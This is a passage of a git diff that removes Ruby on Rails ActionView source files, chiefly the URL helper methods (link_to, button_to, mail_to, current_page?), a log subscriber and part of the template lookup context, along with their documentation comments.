-      # for scoping them consistently. If you don't prepend the key with a period,
-      # nothing is converted.
-      #
-      # Third, it'll mark the translation as safe HTML if the key has the suffix
-      # "_html" or the last element of the key is the word "html". For example,
-      # calling translate("footer_html") or translate("footer.html") will return
-      # a safe HTML string that won't be escaped by other HTML helper methods. This
-      # naming convention helps to identify translations that include HTML tags so that
-      # you know what kind of output to expect when you call translate in a template.
-      def translate(key, options = {})
-        options[:default] = wrap_translate_defaults(options[:default]) if options[:default]
-
-        # If the user has specified rescue_format then pass it all through, otherwise use
-        # raise and do the work ourselves
-        options[:raise] = true unless options.key?(:raise) || options.key?(:rescue_format)
-        if html_safe_translation_key?(key)
-          html_safe_options = options.dup
-          options.except(*I18n::RESERVED_KEYS).each do |name, value|
-            unless name == :count && value.is_a?(Numeric)
-              html_safe_options[name] = ERB::Util.html_escape(value.to_s)
-            end
-          end
-          translation = I18n.translate(scope_key_by_partial(key), html_safe_options)
-
-          translation.respond_to?(:html_safe) ? translation.html_safe : translation
-        else
-          I18n.translate(scope_key_by_partial(key), options)
-        end
-      rescue I18n::MissingTranslationData => e
-        keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope])
-        content_tag('span', keys.last.to_s.titleize, :class => 'translation_missing', :title => "translation missing: #{keys.join('.')}")
-      end
-      alias :t :translate
-
-      # Delegates to <tt>I18n.localize</tt> with no additional functionality.
-      #
-      # See http://rubydoc.info/github/svenfuchs/i18n/master/I18n/Backend/Base:localize
-      # for more information.
-      def localize(*args)
-        I18n.localize(*args)
-      end
-      alias :l :localize
-
-      private
-        def scope_key_by_partial(key)
-          if key.to_s.first == "."
-            if @virtual_path
-              @virtual_path.gsub(%r{/_?}, ".") + key.to_s
-            else
-              raise "Cannot use t(#{key.inspect}) shortcut because path is not available"
-            end
-          else
-            key
-          end
-        end
-
-        def html_safe_translation_key?(key)
-          key.to_s =~ /(\b|_|\.)html$/
-        end
-
-        def wrap_translate_defaults(defaults)
-          new_defaults = []
-          defaults     = Array(defaults)
-          while key = defaults.shift
-            if key.is_a?(Symbol)
-              new_defaults << lambda { |_, options| translate key, options.merge(:default => defaults) }
-              break
-            else
-              new_defaults << key
-            end
-          end
-
-          new_defaults
-        end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/url_helper.rb b/actionpack/lib/action_view/helpers/url_helper.rb
deleted file mode 100644
index ec5ee4e..0000000
--- a/actionpack/lib/action_view/helpers/url_helper.rb
+++ /dev/null
@@ -1,635 +0,0 @@
-require 'action_view/helpers/javascript_helper'
-require 'active_support/core_ext/array/access'
-require 'active_support/core_ext/hash/keys'
-require 'active_support/core_ext/string/output_safety'
-
-module ActionView
-  # = Action View URL Helpers
-  module Helpers #:nodoc:
-    # Provides a set of methods for making links and getting URLs that
-    # depend on the routing subsystem (see ActionDispatch::Routing).
-    # This allows you to use the same format for links in views
-    # and controllers.
-    module UrlHelper
-      # This helper may be included in any class that includes the
-      # URL helpers of a routes (routes.url_helpers). Some methods
-      # provided here will only work in the context of a request
-      # (link_to_unless_current, for instance), which must be provided
-      # as a method called #request on the context.
-
-      extend ActiveSupport::Concern
-
-      include TagHelper
-
-      module ClassMethods
-        def _url_for_modules
-          ActionView::RoutingUrlFor
-        end
-      end
-
-      # Basic implementation of url_for to allow use helpers without routes existence
-      def url_for(options = nil) # :nodoc:
-        case options
-        when String
-          options
-        when :back
-          _back_url
-        else
-          raise ArgumentError, "arguments passed to url_for can't be handled. Please require " +
-                               "routes or provide your own implementation"
-        end
-      end
-
-      def _back_url # :nodoc:
-        referrer = controller.respond_to?(:request) && controller.request.env["HTTP_REFERER"]
-        referrer || 'javascript:history.back()'
-      end
-      protected :_back_url
-
-      # Creates a link tag of the given +name+ using a URL created by the set of +options+.
-      # See the valid options in the documentation for +url_for+. It's also possible to
-      # pass a String instead of an options hash, which generates a link tag that uses the
-      # value of the String as the href for the link. Using a <tt>:back</tt> Symbol instead
-      # of an options hash will generate a link to the referrer (a JavaScript back link
-      # will be used in place of a referrer if none exists). If +nil+ is passed as the name
-      # the value of the link itself will become the name.
-      #
-      # ==== Signatures
-      #
-      #   link_to(body, url, html_options = {})
-      #     # url is a String; you can use URL helpers like
-      #     # posts_path
-      #
-      #   link_to(body, url_options = {}, html_options = {})
-      #     # url_options, except :method, is passed to url_for
-      #
-      #   link_to(options = {}, html_options = {}) do
-      #     # name
-      #   end
-      #
-      #   link_to(url, html_options = {}) do
-      #     # name
-      #   end
-      #
-      # ==== Options
-      # * <tt>:data</tt> - This option can be used to add custom data attributes.
-      # * <tt>method: symbol of HTTP verb</tt> - This modifier will dynamically
-      #   create an HTML form and immediately submit the form for processing using
-      #   the HTTP verb specified. Useful for having links perform a POST operation
-      #   in dangerous actions like deleting a record (which search bots can follow
-      #   while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>.
-      #   Note that if the user has JavaScript disabled, the request will fall back
-      #   to using GET. If <tt>href: '#'</tt> is used and the user has JavaScript
-      #   disabled clicking the link will have no effect. If you are relying on the
-      #   POST behavior, you should check for it in your controller's action by using
-      #   the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>:patch</tt>, or <tt>put?</tt>.
-      # * <tt>remote: true</tt> - This will allow the unobtrusive JavaScript
-      #   driver to make an Ajax request to the URL in question instead of following
-      #   the link. The drivers each provide mechanisms for listening for the
-      #   completion of the Ajax request and performing JavaScript operations once
-      #   they're complete
-      #
-      # ==== Data attributes
-      #
-      # * <tt>confirm: 'question?'</tt> - This will allow the unobtrusive JavaScript
-      #   driver to prompt with the question specified. If the user accepts, the link is
-      #   processed normally, otherwise no action is taken.
-      # * <tt>:disable_with</tt> - Value of this parameter will be
-      #   used as the value for a disabled version of the submit
-      #   button when the form is submitted. This feature is provided
-      #   by the unobtrusive JavaScript driver.
-      #
-      # ==== Examples
-      # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
-      # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base
-      # your application on resources and use
-      #
-      #   link_to "Profile", profile_path(@profile)
-      #   # => <a href="/profiles/1">Profile</a>
-      #
-      # or the even pithier
-      #
-      #   link_to "Profile", @profile
-      #   # => <a href="/profiles/1">Profile</a>
-      #
-      # in place of the older more verbose, non-resource-oriented
-      #
-      #   link_to "Profile", controller: "profiles", action: "show", id: @profile
-      #   # => <a href="/profiles/show/1">Profile</a>
-      #
-      # Similarly,
-      #
-      #   link_to "Profiles", profiles_path
-      #   # => <a href="/profiles">Profiles</a>
-      #
-      # is better than
-      #
-      #   link_to "Profiles", controller: "profiles"
-      #   # => <a href="/profiles">Profiles</a>
-      #
-      # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
-      #
-      #   <%= link_to(@profile) do %>
-      #     <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
-      #   <% end %>
-      #   # => <a href="/profiles/1">
-      #          <strong>David</strong> -- <span>Check it out!</span>
-      #        </a>
-      #
-      # Classes and ids for CSS are easy to produce:
-      #
-      #   link_to "Articles", articles_path, id: "news", class: "article"
-      #   # => <a href="/articles" class="article" id="news">Articles</a>
-      #
-      # Be careful when using the older argument style, as an extra literal hash is needed:
-      #
-      #   link_to "Articles", { controller: "articles" }, id: "news", class: "article"
-      #   # => <a href="/articles" class="article" id="news">Articles</a>
-      #
-      # Leaving the hash off gives the wrong link:
-      #
-      #   link_to "WRONG!", controller: "articles", id: "news", class: "article"
-      #   # => <a href="/articles/index/news?class=article">WRONG!</a>
-      #
-      # +link_to+ can also produce links with anchors or query strings:
-      #
-      #   link_to "Comment wall", profile_path(@profile, anchor: "wall")
-      #   # => <a href="/profiles/1#wall">Comment wall</a>
-      #
-      #   link_to "Ruby on Rails search", controller: "searches", query: "ruby on rails"
-      #   # => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
-      #
-      #   link_to "Nonsense search", searches_path(foo: "bar", baz: "quux")
-      #   # => <a href="/searches?foo=bar&baz=quux">Nonsense search</a>
-      #
-      # The only option specific to +link_to+ (<tt>:method</tt>) is used as follows:
-      #
-      #   link_to("Destroy", "http://www.example.com", method: :delete)
-      #   # => <a href='http://www.example.com' rel="nofollow" data-method="delete">Destroy</a>
-      #
-      # You can also use custom data attributes using the <tt>:data</tt> option:
-      #
-      #   link_to "Visit Other Site", "http://www.rubyonrails.org/", data: { confirm: "Are you sure?" }
-      #   # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?">Visit Other Site</a>
-      def link_to(name = nil, options = nil, html_options = nil, &block)
-        html_options, options, name = options, name, block if block_given?
-        options ||= {}
-
-        html_options = convert_options_to_data_attributes(options, html_options)
-
-        url = url_for(options)
-        html_options['href'] ||= url
-
-        content_tag(:a, name || url, html_options, &block)
-      end
-
-      # Generates a form containing a single button that submits to the URL created
-      # by the set of +options+. This is the safest method to ensure links that
-      # cause changes to your data are not triggered by search bots or accelerators.
-      # If the HTML button does not work with your layout, you can also consider
-      # using the +link_to+ method with the <tt>:method</tt> modifier as described in
-      # the +link_to+ documentation.
-      #
-      # By default, the generated form element has a class name of <tt>button_to</tt>
-      # to allow styling of the form itself and its children. This can be changed
-      # using the <tt>:form_class</tt> modifier within +html_options+. You can control
-      # the form submission and input element behavior using +html_options+.
-      # This method accepts the <tt>:method</tt> modifier described in the +link_to+ documentation.
-      # If no <tt>:method</tt> modifier is given, it will default to performing a POST operation.
-      # You can also disable the button by passing <tt>disabled: true</tt> in +html_options+.
-      # If you are using RESTful routes, you can pass the <tt>:method</tt>
-      # to change the HTTP verb used to submit the form.
-      #
-      # ==== Options
-      # The +options+ hash accepts the same options as +url_for+.
-      #
-      # There are a few special +html_options+:
-      # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
-      #   <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>. By default it will be <tt>:post</tt>.
-      # * <tt>:disabled</tt> - If set to true, it will generate a disabled button.
-      # * <tt>:data</tt> - This option can be used to add custom data attributes.
-      # * <tt>:remote</tt> -  If set to true, will allow the Unobtrusive JavaScript drivers to control the
-      #   submit behavior. By default this behavior is an ajax submit.
-      # * <tt>:form</tt> - This hash will be form attributes
-      # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
-      #   be placed
-      #
-      # ==== Data attributes
-      #
-      # * <tt>:confirm</tt> - This will use the unobtrusive JavaScript driver to
-      #   prompt with the question specified. If the user accepts, the link is
-      #   processed normally, otherwise no action is taken.
-      # * <tt>:disable_with</tt> - Value of this parameter will be
-      #   used as the value for a disabled version of the submit
-      #   button when the form is submitted. This feature is provided
-      #   by the unobtrusive JavaScript driver.
-      #
-      # ==== Examples
-      #   <%= button_to "New", action: "new" %>
-      #   # => "<form method="post" action="/controller/new" class="button_to">
-      #   #      <div><input value="New" type="submit" /></div>
-      #   #    </form>"
-      #
-      #   <%= button_to [:make_happy, @user] do %>
-      #     Make happy <strong><%= @user.name %></strong>
-      #   <% end %>
-      #   # => "<form method="post" action="/users/1/make_happy" class="button_to">
-      #   #      <div>
-      #   #        <button type="submit">
-      #   #          Make happy <strong><%= @user.name %></strong>
-      #   #        </button>
-      #   #      </div>
-      #   #    </form>"
-      #
-      #   <%= button_to "New", { action: "new" }, form_class: "new-thing" %>
-      #   # => "<form method="post" action="/controller/new" class="new-thing">
-      #   #      <div><input value="New" type="submit" /></div>
-      #   #    </form>"
-      #
-      #
-      #   <%= button_to "Create", { action: "create" }, remote: true, form: { "data-type" => "json" } %>
-      #   # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
-      #   #      <div>
-      #   #        <input value="Create" type="submit" />
-      #   #        <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
-      #   #      </div>
-      #   #    </form>"
-      #
-      #
-      #   <%= button_to "Delete Image", { action: "delete", id: @image.id },
-      #                                   method: :delete, data: { confirm: "Are you sure?" } %>
-      #   # => "<form method="post" action="/images/delete/1" class="button_to">
-      #   #      <div>
-      #   #        <input type="hidden" name="_method" value="delete" />
-      #   #        <input data-confirm='Are you sure?' value="Delete Image" type="submit" />
-      #   #        <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
-      #   #      </div>
-      #   #    </form>"
-      #
-      #
-      #   <%= button_to('Destroy', 'http://www.example.com',
-      #             method: "delete", remote: true, data: { confirm: 'Are you sure?', disable_with: 'loading...' }) %>
-      #   # => "<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
-      #   #       <div>
-      #   #         <input name='_method' value='delete' type='hidden' />
-      #   #         <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
-      #   #         <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
-      #   #       </div>
-      #   #     </form>"
-      #   #
-      def button_to(name = nil, options = nil, html_options = nil, &block)
-        html_options, options = options, name if block_given?
-        options      ||= {}
-        html_options ||= {}
-
-        html_options = html_options.stringify_keys
-        convert_boolean_attributes!(html_options, %w(disabled))
-
-        url    = options.is_a?(String) ? options : url_for(options)
-        remote = html_options.delete('remote')
-
-        method     = html_options.delete('method').to_s
-        method_tag = %w{patch put delete}.include?(method) ? method_tag(method) : ''.html_safe
-
-        form_method  = method == 'get' ? 'get' : 'post'
-        form_options = html_options.delete('form') || {}
-        form_options[:class] ||= html_options.delete('form_class') || 'button_to'
-        form_options.merge!(method: form_method, action: url)
-        form_options.merge!("data-remote" => "true") if remote
-
-        request_token_tag = form_method == 'post' ? token_tag : ''
-
-        html_options = convert_options_to_data_attributes(options, html_options)
-        html_options['type'] = 'submit'
-
-        button = if block_given?
-          content_tag('button', html_options, &block)
-        else
-          html_options['value'] = name || url
-          tag('input', html_options)
-        end
-
-        inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
-        content_tag('form', content_tag('div', inner_tags), form_options)
-      end
-
-      # Creates a link tag of the given +name+ using a URL created by the set of
-      # +options+ unless the current request URI is the same as the links, in
-      # which case only the name is returned (or the given block is yielded, if
-      # one exists). You can give +link_to_unless_current+ a block which will
-      # specialize the default behavior (e.g., show a "Start Here" link rather
-      # than the link's text).
-      #
-      # ==== Examples
-      # Let's say you have a navigation menu...
-      #
-      #   <ul id="navbar">
-      #     <li><%= link_to_unless_current("Home", { action: "index" }) %></li>
-      #     <li><%= link_to_unless_current("About Us", { action: "about" }) %></li>
-      #   </ul>
-      #
-      # If in the "about" action, it will render...
-      #
-      #   <ul id="navbar">
-      #     <li><a href="/controller/index">Home</a></li>
-      #     <li>About Us</li>
-      #   </ul>
-      #
-      # ...but if in the "index" action, it will render:
-      #
-      #   <ul id="navbar">
-      #     <li>Home</li>
-      #     <li><a href="/controller/about">About Us</a></li>
-      #   </ul>
-      #
-      # The implicit block given to +link_to_unless_current+ is evaluated if the current
-      # action is the action given. So, if we had a comments page and wanted to render a
-      # "Go Back" link instead of a link to the comments page, we could do something like this...
-      #
-      #    <%=
-      #        link_to_unless_current("Comment", { controller: "comments", action: "new" }) do
-      #           link_to("Go back", { controller: "posts", action: "index" })
-      #        end
-      #     %>
-      def link_to_unless_current(name, options = {}, html_options = {}, &block)
-        link_to_unless current_page?(options), name, options, html_options, &block
-      end
-
-      # Creates a link tag of the given +name+ using a URL created by the set of
-      # +options+ unless +condition+ is true, in which case only the name is
-      # returned. To specialize the default behavior (i.e., show a login link rather
-      # than just the plaintext link text), you can pass a block that
-      # accepts the name or the full argument list for +link_to_unless+.
-      #
-      # ==== Examples
-      #   <%= link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) %>
-      #   # If the user is logged in...
-      #   # => <a href="/controller/reply/">Reply</a>
-      #
-      #   <%=
-      #      link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) do |name|
-      #        link_to(name, { controller: "accounts", action: "signup" })
-      #      end
-      #   %>
-      #   # If the user is logged in...
-      #   # => <a href="/controller/reply/">Reply</a>
-      #   # If not...
-      #   # => <a href="/accounts/signup">Reply</a>
-      def link_to_unless(condition, name, options = {}, html_options = {}, &block)
-        if condition
-          if block_given?
-            block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
-          else
-            ERB::Util.html_escape(name)
-          end
-        else
-          link_to(name, options, html_options)
-        end
-      end
-
-      # Creates a link tag of the given +name+ using a URL created by the set of
-      # +options+ if +condition+ is true, otherwise only the name is
-      # returned. To specialize the default behavior, you can pass a block that
-      # accepts the name or the full argument list for +link_to_unless+ (see the examples
-      # in +link_to_unless+).
-      #
-      # ==== Examples
-      #   <%= link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) %>
-      #   # If the user isn't logged in...
-      #   # => <a href="/sessions/new/">Login</a>
-      #
-      #   <%=
-      #      link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) do
-      #        link_to(@current_user.login, { controller: "accounts", action: "show", id: @current_user })
-      #      end
-      #   %>
-      #   # If the user isn't logged in...
-      #   # => <a href="/sessions/new/">Login</a>
-      #   # If they are logged in...
-      #   # => <a href="/accounts/show/3">my_username</a>
-      def link_to_if(condition, name, options = {}, html_options = {}, &block)
-        link_to_unless !condition, name, options, html_options, &block
-      end
-
-      # Creates a mailto link tag to the specified +email_address+, which is
-      # also used as the name of the link unless +name+ is specified. Additional
-      # HTML attributes for the link can be passed in +html_options+.
-      #
-      # +mail_to+ has several methods for customizing the email itself by
-      # passing special keys to +html_options+.
-      #
-      # ==== Options
-      # * <tt>:subject</tt> - Preset the subject line of the email.
-      # * <tt>:body</tt> - Preset the body of the email.
-      # * <tt>:cc</tt> - Carbon Copy additional recipients on the email.
-      # * <tt>:bcc</tt> - Blind Carbon Copy additional recipients on the email.
-      #
-      # ==== Obfuscation
-      # Prior to Rails 4.0, +mail_to+ provided options for encoding the address
-      # in order to hinder email harvesters.  To take advantage of these options,
-      # install the +actionview-encoded_mail_to+ gem.
-      #
-      # ==== Examples
-      #   mail_to "me at domain.com"
-      #   # => <a href="mailto:me at domain.com">me at domain.com</a>
-      #
-      #   mail_to "me at domain.com", "My email"
-      #   # => <a href="mailto:me at domain.com">My email</a>
-      #
-      #   mail_to "me at domain.com", "My email", cc: "ccaddress at domain.com",
-      #            subject: "This is an example email"
-      #   # => <a href="mailto:me at domain.com?cc=ccaddress at domain.com&subject=This%20is%20an%20example%20email">My email</a>
-      #
-      # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
-      #
-      #   <%= mail_to "me at domain.com" do %>
-      #     <strong>Email me:</strong> <span>me at domain.com</span>
-      #   <% end %>
-      #   # => <a href="mailto:me at domain.com">
-      #          <strong>Email me:</strong> <span>me at domain.com</span>
-      #        </a>
-      def mail_to(email_address, name = nil, html_options = {}, &block)
-        email_address = ERB::Util.html_escape(email_address)
-
-        html_options, name = name, nil if block_given?
-        html_options = (html_options || {}).stringify_keys
-
-        extras = %w{ cc bcc body subject }.map { |item|
-          option = html_options.delete(item) || next
-          "#{item}=#{Rack::Utils.escape_path(option)}"
-        }.compact
-        extras = extras.empty? ? '' : '?' + ERB::Util.html_escape(extras.join('&'))
-
-        html_options["href"] = "mailto:#{email_address}#{extras}".html_safe
-
-        content_tag(:a, name || email_address.html_safe, html_options, &block)
-      end
-
-      # True if the current request URI was generated by the given +options+.
-      #
-      # ==== Examples
-      # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc</tt> action.
-      #
-      #   current_page?(action: 'process')
-      #   # => false
-      #
-      #   current_page?(controller: 'shop', action: 'checkout')
-      #   # => true
-      #
-      #   current_page?(controller: 'shop', action: 'checkout', order: 'asc')
-      #   # => false
-      #
-      #   current_page?(action: 'checkout')
-      #   # => true
-      #
-      #   current_page?(controller: 'library', action: 'checkout')
-      #   # => false
-      #
-      #   current_page?('http://www.example.com/shop/checkout')
-      #   # => true
-      #
-      #   current_page?('/shop/checkout')
-      #   # => true
-      #
-      # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc&page=1</tt> action.
-      #
-      #   current_page?(action: 'process')
-      #   # => false
-      #
-      #   current_page?(controller: 'shop', action: 'checkout')
-      #   # => true
-      #
-      #   current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '1')
-      #   # => true
-      #
-      #   current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '2')
-      #   # => false
-      #
-      #   current_page?(controller: 'shop', action: 'checkout', order: 'desc')
-      #   # => false
-      #
-      #   current_page?(action: 'checkout')
-      #   # => true
-      #
-      #   current_page?(controller: 'library', action: 'checkout')
-      #   # => false
-      #
-      # Let's say we're in the <tt>http://www.example.com/products</tt> action with method POST in case of invalid product.
-      #
-      #   current_page?(controller: 'product', action: 'index')
-      #   # => false
-      #
-      def current_page?(options)
-        unless request
-          raise "You cannot use helpers that need to determine the current " \
-                "page unless your view context provides a Request object " \
-                "in a #request method"
-        end
-
-        return false unless request.get? || request.head?
-
-        url_string = URI.parser.unescape(url_for(options)).force_encoding(Encoding::BINARY)
-
-        # We ignore any extra parameters in the request_uri if the
-        # submitted url doesn't have any either. This lets the function
-        # work with things like ?order=asc
-        request_uri = url_string.index("?") ? request.fullpath : request.path
-        request_uri = URI.parser.unescape(request_uri).force_encoding(Encoding::BINARY)
-
-        if url_string =~ /^\w+:\/\//
-          url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
-        else
-          url_string == request_uri
-        end
-      end
-
-      private
-        def convert_options_to_data_attributes(options, html_options)
-          if html_options
-            html_options = html_options.stringify_keys
-            html_options['data-remote'] = 'true' if link_to_remote_options?(options) || link_to_remote_options?(html_options)
-
-            disable_with = html_options.delete("disable_with")
-            confirm = html_options.delete('confirm')
-            method  = html_options.delete('method')
-
-            if confirm
-              message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
-                        "Use 'data: { confirm: \'Text\' }' instead."
-              ActiveSupport::Deprecation.warn message
-
-              html_options["data-confirm"] = confirm
-            end
-
-            add_method_to_attributes!(html_options, method) if method
-
-            if disable_with
-              message = ":disable_with option is deprecated and will be removed from Rails 4.1. " \
-                        "Use 'data: { disable_with: \'Text\' }' instead."
-              ActiveSupport::Deprecation.warn message
-
-              html_options["data-disable-with"] = disable_with
-            end
-
-            html_options
-          else
-            link_to_remote_options?(options) ? {'data-remote' => 'true'} : {}
-          end
-        end
-
-        def link_to_remote_options?(options)
-          if options.is_a?(Hash)
-            options.delete('remote') || options.delete(:remote)
-          end
-        end
-
-        def add_method_to_attributes!(html_options, method)
-          if method && method.to_s.downcase != "get" && html_options["rel"] !~ /nofollow/
-            html_options["rel"] = "#{html_options["rel"]} nofollow".lstrip
-          end
-          html_options["data-method"] = method
-        end
-
-        # Processes the +html_options+ hash, converting the boolean
-        # attributes from true/false form into the form required by
-        # HTML/XHTML. (An attribute is considered to be boolean if
-        # its name is listed in the given +bool_attrs+ array.)
-        #
-        # More specifically, for each boolean attribute in +html_options+
-        # given as:
-        #
-        #   "attr" => bool_value
-        #
-        # if the associated +bool_value+ evaluates to true, it is
-        # replaced with the attribute's name; otherwise the attribute is
-        # removed from the +html_options+ hash. (See the XHTML 1.0 spec,
-        # section 4.5 "Attribute Minimization" for more:
-        # http://www.w3.org/TR/xhtml1/#h-4.5)
-        #
-        # Returns the updated +html_options+ hash, which is also modified
-        # in place.
-        #
-        # Example:
-        #
-        #   convert_boolean_attributes!( html_options,
-        #                                %w( checked disabled readonly ) )
-        def convert_boolean_attributes!(html_options, bool_attrs)
-          bool_attrs.each { |x| html_options[x] = x if html_options.delete(x) }
-          html_options
-        end
-
-        def token_tag(token=nil)
-          if token != false && protect_against_forgery?
-            token ||= form_authenticity_token
-            tag(:input, type: "hidden", name: request_forgery_protection_token.to_s, value: token)
-          else
-            ''
-          end
-        end
-
-        def method_tag(method)
-          tag('input', type: 'hidden', name: '_method', value: method.to_s)
-        end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/log_subscriber.rb b/actionpack/lib/action_view/log_subscriber.rb
deleted file mode 100644
index fd9a543..0000000
--- a/actionpack/lib/action_view/log_subscriber.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-module ActionView
-  # = Action View Log Subscriber
-  #
-  # Provides functionality so that Rails can output logs from Action View.
-  class LogSubscriber < ActiveSupport::LogSubscriber
-    VIEWS_PATTERN = /^app\/views\//.freeze
-
-    def render_template(event)
-      return unless logger.info?
-      message = "  Rendered #{from_rails_root(event.payload[:identifier])}"
-      message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
-      message << " (#{event.duration.round(1)}ms)"
-      info(message)
-    end
-    alias :render_partial :render_template
-    alias :render_collection :render_template
-
-    def logger
-      ActionView::Base.logger
-    end
-
-  protected
-
-    def from_rails_root(string)
-      string.sub("#{Rails.root}/", "").sub(VIEWS_PATTERN, "")
-    end
-  end
-end
-
-ActionView::LogSubscriber.attach_to :action_view
diff --git a/actionpack/lib/action_view/lookup_context.rb b/actionpack/lib/action_view/lookup_context.rb
deleted file mode 100644
index c6ff683..0000000
--- a/actionpack/lib/action_view/lookup_context.rb
+++ /dev/null
@@ -1,248 +0,0 @@
-require 'thread_safe'
-require 'active_support/core_ext/module/remove_method'
-require 'active_support/core_ext/module/attribute_accessors'
-
-module ActionView
-  # = Action View Lookup Context
-  #
-  # LookupContext is the object responsible to hold all information required to lookup
-  # templates, i.e. view paths and details. The LookupContext is also responsible to
-  # generate a key, given to view paths, used in the resolver cache lookup. Since
-  # this key is generated just once during the request, it speeds up all cache accesses.
-  class LookupContext #:nodoc:
-    attr_accessor :prefixes, :rendered_format
-
-    mattr_accessor :fallbacks
-    @@fallbacks = FallbackFileSystemResolver.instances
-
-    mattr_accessor :registered_details
-    self.registered_details = []
-
-    def self.register_detail(name, options = {}, &block)
-      self.registered_details << name
-      initialize = registered_details.map { |n| "@details[:#{n}] = details[:#{n}] || default_#{n}" }
-
-      Accessors.send :define_method, :"default_#{name}", &block
-      Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1
-        def #{name}
-          @details.fetch(:#{name}, [])
-        end
-
-        def #{name}=(value)
-          value = value.present? ? Array(value) : default_#{name}
-          _set_detail(:#{name}, value) if value != @details[:#{name}]
-        end
-
-        remove_possible_method :initialize_details
-        def initialize_details(details)
-          #{initialize.join("\n")}
-        end
-      METHOD
-    end
-
-    # Holds accessors for the registered details.
-    module Accessors #:nodoc:
-    end
-
-    register_detail(:locale) do
-      locales = [I18n.locale]
-      locales.concat(I18n.fallbacks[I18n.locale]) if I18n.respond_to? :fallbacks
-      locales << I18n.default_locale
-      locales.uniq!
-      locales
-    end
-    register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css,  :xml, :json] }
-    register_detail(:handlers){ Template::Handlers.extensions }
-
-    class DetailsKey #:nodoc:
-      alias :eql? :equal?
-      alias :object_hash :hash
-
-      attr_reader :hash
-      @details_keys = ThreadSafe::Cache.new
-
-      def self.get(details)
-        if details[:formats]
-          details = details.dup
-          syms    = Set.new Mime::SET.symbols
-          details[:formats] = details[:formats].select { |v|
-            syms.include? v
-          }
-        end
-        @details_keys[details] ||= new
-      end
-
-      def self.clear
-        @details_keys.clear
-      end
-
-      def initialize
-        @hash = object_hash
-      end
-    end
-
-    # Add caching behavior on top of Details.
-    module DetailsCache
-      attr_accessor :cache
-
-      # Calculate the details key. Remove the handlers from calculation to improve performance
-      # since the user cannot modify it explicitly.
-      def details_key #:nodoc:
-        @details_key ||= DetailsKey.get(@details) if @cache
-      end
-
-      # Temporary skip passing the details_key forward.
-      def disable_cache
-        old_value, @cache = @cache, false
-        yield
-      ensure
-        @cache = old_value
-      end
-
-    protected
-
-      def _set_detail(key, value)
-        @details = @details.dup if @details_key
-        @details_key = nil
-        @details[key] = value
-      end
-    end
-
-    # Helpers related to template lookup using the lookup context information.
-    module ViewPaths
-      attr_reader :view_paths, :html_fallback_for_js
-
-      # Whenever setting view paths, makes a copy so we can manipulate then in
-      # instance objects as we wish.
-      def view_paths=(paths)
-        @view_paths = ActionView::PathSet.new(Array(paths))
-      end
-
-      def find(name, prefixes = [], partial = false, keys = [], options = {})
-        @view_paths.find(*args_for_lookup(name, prefixes, partial, keys, options))
-      end
-      alias :find_template :find
-
-      def find_all(name, prefixes = [], partial = false, keys = [], options = {})
-        @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options))
-      end
-
-      def exists?(name, prefixes = [], partial = false, keys = [], options = {})
-        @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options))
-      end
-      alias :template_exists? :exists?
-
-      # Add fallbacks to the view paths. Useful in cases you are rendering a :file.
-      def with_fallbacks
-        added_resolvers = 0
-        self.class.fallbacks.each do |resolver|
-          next if view_paths.include?(resolver)
-          view_paths.push(resolver)
-          added_resolvers += 1
-        end
-        yield
-      ensure
-        added_resolvers.times { view_paths.pop }
-      end
-
-    protected
-
-      def args_for_lookup(name, prefixes, partial, keys, details_options) #:nodoc:
-        name, prefixes = normalize_name(name, prefixes)
-        details, details_key = detail_args_for(details_options)
-        [name, prefixes, partial || false, details, details_key, keys]
-      end
-
-      # Compute details hash and key according to user options (e.g. passed from #render).
-      def detail_args_for(options)
-        return @details, details_key if options.empty? # most common path.
-        user_details = @details.merge(options)
-        [user_details, DetailsKey.get(user_details)]
-      end
-
-      # Support legacy foo.erb names even though we now ignore .erb
-      # as well as incorrectly putting part of the path in the template
-      # name instead of the prefix.
-      def normalize_name(name, prefixes) #:nodoc:
-        prefixes = prefixes.presence
-        parts    = name.to_s.split('/')
-        parts.shift if parts.first.empty?
-        name     = parts.pop
-
-        return name, prefixes || [""] if parts.empty?
-
-        parts    = parts.join('/')
